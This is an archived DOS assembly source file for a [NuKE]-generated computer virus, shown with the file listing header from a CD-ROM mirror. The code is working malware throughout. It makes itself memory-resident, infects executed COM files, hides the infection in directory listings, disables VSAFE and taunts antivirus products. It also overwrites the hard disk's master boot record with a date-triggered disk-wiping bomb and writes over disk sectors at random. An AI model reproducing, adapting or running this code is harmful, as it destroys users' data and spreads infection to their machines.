home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / NRLGUPD5.ZIP / TURTLE.ZIP / TURTLE.ASM next >
Encoding:
Assembly Source File  |  1996-08-14  |  27.6 KB  |  591 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  inc di
  36. inc di
  37. ;----------------------------------------------------------                                                
  38. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  39. mov ah,4ch
  40. int 21h
  41. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  42. ;-----------------------------------------------------------                               
  43. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  44. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  45. ;----------------------------------------------------------                                   
  46. loop deci                    ;repeat please!               
  47.                              ;           
  48. ;*****************************************************************
  49. ;                   #2 DECRYPT ROUTINE                                                    
  50. ;*****************************************************************
  51.                               ;    
  52. crypt:                        ;fuck label!                  
  53.                               ;                
  54. mov cx,offset fin             ;cx = large of virus                 
  55. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  56. ;---------------------------------------------------------------                                              
  57. deci2:                        ;              
  58. xor byte ptr cs:[di],1        ;decrytion rutine          
  59. inc di                        ;very simple...            
  60. loop deci2                    ;           
  61. ;---------------------------------------------------------------
  62. crypt2:                       ;fuck label!          
  63.                               ;                  
  64. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  65. INT 21H                       ;for chek "I'm is residet?"   
  66. CMP Bh,0CAH                   ;is equal to CACA?
  67. JE PUM2                       ;yes! jump to runnig program
  68. call action
  69. ;*****************************************************************
  70. ; NRLG FUNCTIONS  (SELECTABLE)
  71. ;*****************************************************************
  72.  
  73.  call MBR
  74. call TRASH_RN
  75. call ANTI_V
  76. ;****************************************************************
  77. ;               PROCESS TO REMAIN RESIDENT                                                                  
  78. ;****************************************************************   
  79.  
  80. mov   ax,3521h                  
  81. int   21h                        ;store the int 21 vectors 
  82. mov   word ptr [bp+int21],bx     ;in cs:int21
  83. mov   word ptr [bp+int21+2],es   ;
  84. ;---------------------------------------------------------------
  85. push cs                          ; 
  86. pop ax                           ;ax = my actual segment                             
  87. dec ax                           ;dec my segment for look my MCB
  88. mov es,ax                        ;
  89. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  90. ;---------------------------------------------------------------
  91. push cs                          ;   
  92. pop es                           ;   
  93. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  94. sub bx,17 + offset fin           ;and 100H for the PSP total
  95. mov ah,4ah                       ;used memory
  96. int 21h                          ;put the new value to MCB
  97. ;---------------------------------------------------------------
  98. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  99. mov ah,48h                      ;                              
  100. int 21h                         ;request the memory to fuck DOS!                                                 
  101. ;---------------------------------------------------------------
  102. dec ax                          ;ax=new segment 
  103. mov es,ax                       ;ax-1= new segment MCB 
  104. mov byte ptr es:[1],8           ;put '8' in the segment
  105. ;--------------------------------------------------------------                                
  106. inc ax                          ; 
  107. mov es,ax                       ;es = new segment
  108. lea si,[bp + offset start]      ;si = start of virus 
  109. mov di,100h                     ;di = 100H (psp position) 
  110. mov cx,offset fin - start       ;cx = lag of virus
  111. push cs                         ;
  112. pop ds                          ;ds = cs
  113. cld                             ;mov the code
  114. rep movsb                       ;ds:si >> es:di
  115. ;--------------------------------------------------------------
  116. mov dx,offset virus             ;dx = new int21 handler
  117. mov ax,2521h                    ;
  118. push es                         ; 
  119. pop ds                          ; 
  120. int 21h                         ;set the vectors 
  121. ;-------------------------------------------------------------
  122. pum2:                               ;  
  123.                                     ; 
  124. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  125. mov byte ptr cs:[100h],ah           ;first bytes  
  126. mov ax,word ptr [cs:bp + real + 1]  ;
  127. mov word ptr cs:[101h],ax           ;
  128. ;-------------------------------------------------------------
  129. mov ax,100h                         ;
  130. jmp ax                              ;jmp to execute
  131.                                     ;
  132. ;*****************************************************************
  133. ;*             HANDLER FOR THE INT 21H                                       
  134. ;*****************************************************************
  135.                           ;          
  136. VIRUS:                    ;  
  137.                           ;     
  138. cmp ah,4bh                ;is a 4b function? 
  139. je REPRODUCCION           ;yes! jump to reproduce !
  140. cmp ah,11h
  141. je dir
  142. cmp ah,12h
  143. je dir
  144. dirsal:
  145. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  146. jne a3                    ;no! jump to a3
  147. mov bh,0cah               ;yes! put ca in bh
  148. a3:                       ;
  149. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  150. ret                       ;    
  151. make db '[NuKE] N.R.L.G. AZRAEL'
  152. dir:
  153. jmp dir_s
  154. ;-------------------------------------------------------------
  155. REPRODUCCION:              ;       
  156.                            ;
  157. pushf                      ;put the register
  158. pusha                      ;in the stack
  159. push si                    ;
  160. push di                    ;
  161. push bp                    ;
  162. push es                    ;
  163. push ds                    ;
  164. ;-------------------------------------------------------------
  165. push cs                    ;  
  166. pop ds                     ;  
  167. mov ax,3524H               ;get the dos error control                      
  168. int 21h                    ;interupt                        
  169. mov word ptr error,es      ;and put in cs:error                      
  170. mov word ptr error+2,bx    ;            
  171. mov ax,2524H               ;change the dos error control                    
  172. mov dx,offset all          ;for my "trap mask"                      
  173. int 21h                    ;         
  174. ;-------------------------------------------------------------
  175. pop ds                     ;
  176. pop es                     ;restore the registers
  177. pop bp                     ;
  178. pop di                     ;
  179. pop si                     ;
  180. popa                       ;
  181. popf                       ;
  182. ;-------------------------------------------------------------
  183. pushf                      ;put the registers
  184. pusha                      ;     
  185. push si                    ;HEY! AZRAEL IS CRAZY?
  186. push di                    ;PUSH, POP, PUSH, POP
  187. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  188. push es                    ;PURIFY THIS SHIT!
  189. push ds                    ;
  190. ;-------------------------------------------------------------
  191. mov ax,4300h                 ;       
  192. int 21h                      ;get the file     
  193. mov word ptr cs:[attrib],cx  ;atributes   
  194. ;-------------------------------------------------------------
  195. mov ax,4301h                 ;le saco los atributos al        
  196. xor cx,cx                    ;file 
  197. int 21h                      ;
  198. ;-------------------------------------------------------------  
  199. mov ax,3d02h                 ;open the file 
  200. int 21h                      ;for read/write
  201. mov bx,ax                    ;bx=handle
  202. ;-------------------------------------------------------------
  203. mov ax,5700h                ;     
  204. int 21h                     ;get the file date  
  205. mov word ptr cs:[hora],cx   ;put the hour    
  206. mov word ptr cs:[dia],dx    ;put the day    
  207. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  208. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  209. jne seguir                  ;yes! the file is infected!     
  210. jmp cerrar                  ;
  211. ;------------------------------------------------------------
  212. seguir:                     ;     
  213. mov ax,4202h                ;move the pointer to end
  214. call movedor                ;of the file
  215. ;------------------------------------------------------------
  216. push cs                     ;   
  217. pop ds                      ; 
  218. sub ax,3                    ;calculate the 
  219. mov word ptr [cs:largo],ax  ;jmp long
  220. ;-------------------------------------------------------------
  221. mov ax,04200h               ;move the pointer to  
  222. call movedor                ;start of file
  223. ;----------------------------------------------------------                                          
  224. push cs                     ;   
  225. pop ds                      ;read the 3 first bytes  
  226. mov ah,3fh                  ;                           
  227. mov cx,3                    ;
  228. lea dx,[cs:real]            ;put the bytes in cs:[real]
  229. int 21h                     ;
  230. ;----------------------------------------------------------                                          
  231. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  232. jne er1                         ;yes! is a EXE... fuckkk!
  233. ;----------------------------------------------------------
  234. jmp cerrar
  235. er1:
  236. ;----------------------------------------------------------                                          
  237. mov ax,4200h      ;move the pointer                               
  238. call movedor      ;to start fo file
  239. ;----------------------------------------------------------                                          
  240. push cs           ;       
  241. pop ds            ; 
  242. mov ah,40h        ;  
  243. mov cx,1          ;write the JMP
  244. lea dx,[cs:jump]  ;instruccion in the
  245. int 21h           ;fist byte of the file
  246. ;----------------------------------------------------------                                          
  247. mov ah,40h         ;write the value of jmp
  248. mov cx,2           ;in the file 
  249. lea dx,[cs:largo]  ; 
  250. int 21h            ;
  251. ;----------------------------------------------------------                                          
  252. mov ax,04202h      ;move the pointer to 
  253. call movedor       ;end of file
  254. ;----------------------------------------------------------                                          
  255. push cs                     ;        
  256. pop ds                      ;move the code  
  257. push cs                     ;of my virus      
  258. pop es                      ;to cs:end+50     
  259. cld                         ;for encrypt          
  260. mov si,100h                 ;    
  261. mov di,offset fin + 50      ;      
  262. mov cx,offset fin - 100h    ;        
  263. rep movsb                   ;      
  264. ;----------------------------------------------------------                                          
  265. mov cx,offset fin           
  266. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  267. enc:                              ;           
  268. xor byte ptr cs:[di],1            ;encrypt the virus              
  269. inc di                            ;code                   
  270. loop enc                          ;              
  271. ;---------------------------------------------------------
  272. mov cx,offset fin           
  273. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  274. mov dx,1
  275. enc2:                              ;           
  276.  
  277.  inc di
  278. inc di                             ;the virus code                  
  279. loop enc2                          ;              
  280. ;--------------------------------------------
  281. mov ah,40h                       ;  
  282. mov cx,offset fin - offset start ;copy the virus              
  283. mov dx,offset fin + 50           ;to end of file
  284. int 21h                          ;
  285. ;----------------------------------------------------------                                          
  286. cerrar:                          ;
  287.                                  ;restore the       
  288. mov ax,5701h                     ;date and time    
  289. mov cx,word ptr cs:[hora]        ;file   
  290. mov dx,word ptr cs:[dia]         ;     
  291. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  292. int 21h                          ; 
  293. ;----------------------------------------------------------                                          
  294. mov ah,3eh                       ; 
  295. int 21h                          ;close the file
  296. ;----------------------------------------------------------                                          
  297. pop ds                           ;
  298. pop es                           ;restore the 
  299. pop bp                           ;registers
  300. pop di                           ; 
  301. pop si                           ;
  302. popa                             ;
  303. popf                             ;
  304. ;----------------------------------------------------------                                          
  305. pusha                           ;   
  306.                                 ;                                                             
  307. mov ax,4301h                    ;restores the atributes 
  308. mov cx,word ptr cs:[attrib]     ;of the file  
  309. int 21h                         ;   
  310.                                 ;
  311. popa                            ; 
  312. ;----------------------------------------------------------                                          
  313. pushf                           ;                           
  314. pusha                           ; 8-(  = f-prot                       
  315. push si                         ;                       
  316. push di                         ; 8-(  = tbav   
  317. push bp                         ;                       
  318. push es                         ; 8-)  = I'm                        
  319. push ds                         ;                              
  320. ;----------------------------------------------------------                                          
  321. mov ax,2524H                    ;                         
  322. lea bx,error                    ;restore the                         
  323. mov ds,bx                       ;errors handler      
  324. lea bx,error+2                  ;                         
  325. int 21h                         ;                       
  326. ;----------------------------------------------------------                                          
  327. pop ds                          ;
  328. pop es                          ;
  329. pop bp                          ;restore the 
  330. pop di                          ;resgisters
  331. pop si                          ;
  332. popa                            ;
  333. popf                            ;
  334. ;----------------------------------------------------------                                          
  335. JMP A3                          ;jmp to orig. INT 21
  336.                                 ;
  337. ;**********************************************************
  338. ;           SUBRUTINES AREA
  339. ;**********************************************************
  340.                                 ;
  341. movedor:                        ;   
  342.                                 ; 
  343. xor cx,cx                       ;use to move file pointer         
  344. xor dx,dx                       ;       
  345. int 21h                         ;        
  346. ret                             ;        
  347. ;----------------------------------------------------------                                          
  348. all:                            ;  
  349.                                 ; 
  350. XOR AL,AL                       ;use to set 
  351. iret                            ;error flag
  352.  
  353. ;***********************************************************
  354. ;         DATA AREA
  355. ;***********************************************************
  356. largo  dw  ?
  357. jump   db  0e9h
  358. real   db  0cdh,20h,0
  359. hora   dw  ?
  360. dia    dw  ?
  361. attrib dw  ?
  362. int21  dd  ?
  363. error  dd  ?
  364.  
  365.  ;---------------------------------
  366. action:                          ; 
  367. MOV AH,2AH                       ;        
  368. INT 21H                          ;get date           
  369. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  370. JE  cont                         ;nop! fuck ret          
  371. cmp byte ptr cs:[action_dia+bp],32  ;
  372. jne no_day                       ;
  373. cont:                            ; 
  374. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  375. je set                           ;
  376. cmp byte ptr cs:[action_mes+bp],13  ;
  377. jne NO_DAY                       ;nop! fuck ret           
  378. set:                             ; 
  379.         
  380. mov ax,351ch                     ;
  381. int 21h                          ;store the int 1ch vectors 
  382. mov word ptr [trampaint+bp],bx      ;in cs:trampaint
  383. mov word ptr [trampaint+2+bp],es    ;
  384. mov ax,251ch                     ;put the int 1ch (clock) vector     
  385. push cs                          ;   
  386. pop ds                           ;  
  387. mov dx,offset tardar             ;in offset tardar
  388. int 21h                          ;  
  389. mov dx,offset fin                ;
  390. int 27h                          ;main resident the code
  391. NO_DAY:                          ;             
  392. ret                              ;ret for program
  393. tardar:                          ;int 1c handler
  394. pushf                            ;
  395. pusha                            ;
  396. mov cx,0ffffh                    ;fuck loop for slow speed
  397. trampa:                          ;
  398. mov ax,ax                        ;
  399. loop trampa                      ;
  400. popa                             ;
  401. popf                             ;
  402. JMP dword ptr CS:[trampaint+bp]     ;jmp to original int 1ch
  403. ret                              ;
  404. trampaint  dd  ?                 ;
  405. ;--------------------------------;
  406.  
  407.  MBR:
  408. ;**************************************
  409. ;    Start of MBR-BOMB writing
  410. ;**************************************
  411. mov ax,9f80h                ;very high memory                   
  412. mov es,ax                   ;good for buffer                
  413. mov ax,0201h                ;read the original         
  414. mov cx,0001h                ;MBR of the disk           
  415. mov dx,0080h                ;              
  416. xor bx,bx                   ;to buffer 9f80:0000h                       
  417. int 13h                     ;           
  418. push cs                     ; 
  419. pop ds                      ; 
  420. mov ax,9f80h                ;add my MBR-BOMB                                    
  421. mov es,ax                   ;to real MBR in my       
  422. mov si,offset fat           ;buffer              
  423. xor di,di                   ;                   
  424. mov cx,105                  ;ds:[fat]=>9f80:0000h
  425. repe movsb                  ;total 105bytes                   
  426. mov ax,9f80h                ;   
  427. mov es,ax                   ;   
  428. xor bx,bx                   ;replace the original    
  429. mov ax,0301h                ;MBR in the disk by the
  430. xor ch,ch                   ;new MBR-BOMB.  
  431. mov dx,0080h                ;
  432. mov cl,1                    ;WARNING! VSAFE/MSAVE 
  433. mov bx,0                    ;NOTIFY THIS ACTION 
  434. int 13h                     ; 
  435. ret                         ;
  436. ;---------------------------------------------------
  437. ;*********************      
  438. ; Start of MBR code          
  439. ;*********************        
  440. fat:                              ;       
  441. cli                               ;#       
  442. xor     ax,ax                     ;#     
  443. mov     ss,ax                     ;#       
  444. mov     sp,7C00h                  ;#        
  445. mov     si,sp                     ;#        
  446. push    ax                        ;#    
  447. pop     es                        ;# 
  448. push    ax                        ;# 
  449. pop     ds                        ;#     
  450. sti                               ;#
  451.                                   ;#   
  452. pushf                             ;#   
  453. push ax                           ;# 
  454. push cx                           ;# = This code be in the
  455. push dx                           ;#   original MBR
  456. push ds                           ;#   (NOT MODIFY)
  457. push es                           ;#   
  458. MOV AH,04H                        ; Read real tyme                       
  459. INT 1AH                           ; Clock          
  460. CMP DH,cs:byte ptr action_mes     ; is Month?     
  461. JE CAGO                           ; yes! SNIF SNIF HD. 
  462. lit:
  463. pop es
  464. pop ds
  465. pop dx  
  466. pop cx
  467. pop ax
  468. popf
  469. jmp booti
  470. CAGO:
  471. ;++++++++++++++++++++++++++++++++++++++++++++++++++++
  472. ; START OF YOUR DESTRUCTIVE CODE (or not destructive)
  473. ;++++++++++++++++++++++++++++++++++++++++++++++++++++
  474.  
  475. rip_hd:                            
  476.                               ;@                                  
  477.                 xor dx, dx    ;@                
  478. rip_hd1:                      ;@
  479.         mov cx, 2     ;@                 
  480.         mov ax, 311h  ;@    
  481.         mov dl, 80h   ;@             
  482.         mov bx, 5000h ;@       
  483.         mov es, bx    ;@ 
  484.         int 13h       ;@          
  485.         jae rip_hd2   ;@         
  486.         xor ah, ah    ;@       
  487.         int 13h       ;@       
  488.         rip_hd2:      ;@        
  489.         inc dh        ;@        
  490.         cmp dh, 4     ;@                
  491.         jb rip_hd1    ;@ 
  492.         inc ch        ;@        
  493.         jmp rip_hd            
  494.  
  495. ;+++++++++++++++++++++++++++++++++++++++++++
  496. ;       END OF YOUR DESTRUCUTIVE  CODE
  497. ;+++++++++++++++++++++++++++++++++++++++++++
  498. booti:
  499. xor ax,ax     ;#         
  500. mov es,ax     ;#       
  501. mov bx,7c00h  ;#             
  502. mov ah,02     ;#          
  503. mov al,1      ;#         
  504. mov cl,1      ;# #= This code be       
  505. mov ch,0      ;#    in the original        
  506. mov dh,1      ;#    MBR    
  507. mov dl,80h    ;#    (NOT MODIFY)   
  508.               ;#             
  509. int 13h       ;#                
  510.               ;#          
  511. db 0eah,00,7ch,00,00 ;#    
  512. ;*******************
  513. ; END OF MBR CODE
  514. ;*******************
  515.  
  516.  ;---------------------------------
  517. TRASH_RN:                        ; 
  518. MOV AH,2DH                       ;        
  519. INT 21H                          ;get date           
  520. CMP Dl,6                         ;is =6 (RAN 0-99)                 
  521. jne NO_DAYY                      ;nop! fuck ret           
  522. mov ah,0dh                       ;     
  523. int 21h                          ;reset disk 
  524. mov al,2                         ;
  525. mov cx,0ffffh                    ;
  526. mov dx,0                         ;  
  527. int 26h                          ;fuck ffffh sector 
  528. mov ah,0dh                       ;reste disk  
  529. int 21h                          ;   
  530. mov al,2                         ;    
  531. mov cx,0ffffh                    ;    
  532. mov dx,0ffffh                    ;new fuck+ 
  533. int 26h                          ;heheheh!!! 
  534. NO_DAYY:                         ;             
  535. ret                              ;
  536. ;---------------------------------
  537.  ;---------------------------------
  538. ANTI_V:                          ; 
  539. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  540. MOV DX,5945H                     ; 
  541. INT 21H                          ;           
  542. ret                              ;
  543. ;---------------------------------
  544.  
  545.  ;*****************************************************
  546. dir_s:                                                               
  547.              pushf                                                         
  548.              push    cs                                                    
  549.              call    a3                      ;Get file Stats                       
  550.              test    al,al                   ;Good FCB?                            
  551.              jnz     no_good                 ;nope                                 
  552.              push    ax                                                 
  553.              push    bx                                                    
  554.              push    es                                                    
  555.              mov     ah,51h                  ;Is this Undocmented? huh...          
  556.              int     21h                                                   
  557.              mov     es,bx                                                 
  558.              cmp     bx,es:[16h]                                           
  559.              jnz     not_infected                        
  560.              mov     bx,dx                                                 
  561.              mov     al,[bx]                                               
  562.              push    ax                                                    
  563.              mov     ah,2fh                   ;Get file DTA                         
  564.              int     21h                                                   
  565.              pop     ax                                                    
  566.              inc     al                                                    
  567.              jnz     fcb_okay                                              
  568.              add     bx,7h                                                 
  569. fcb_okay:    mov     ax,es:[bx+17h]                                   
  570.              and     ax,1fh                   ;UnMask Seconds Field                 
  571.              xor     al,byte ptr cs:fechad                                      
  572.              jnz     not_infected                                            
  573.              and     byte ptr es:[bx+17h],0e0h                            
  574.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  575.              sbb     es:[bx+1fh],ax                                        
  576. not_infected:pop     es                                                    
  577.              pop     bx                                                    
  578.              pop     ax                                                    
  579. no_good:     iret                                                          
  580. ;********************************************************************
  581. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  582. ;*********************************************************************
  583.  
  584.  action_dia Db 01H ;day for the action
  585. action_mes Db 01H ;month for the action
  586. FECHA DW 01eH ;Secon for mark
  587. FECHAd Db 01eH ;Secon for mark dir st
  588. fin:
  589. code ends
  590. end start
  591.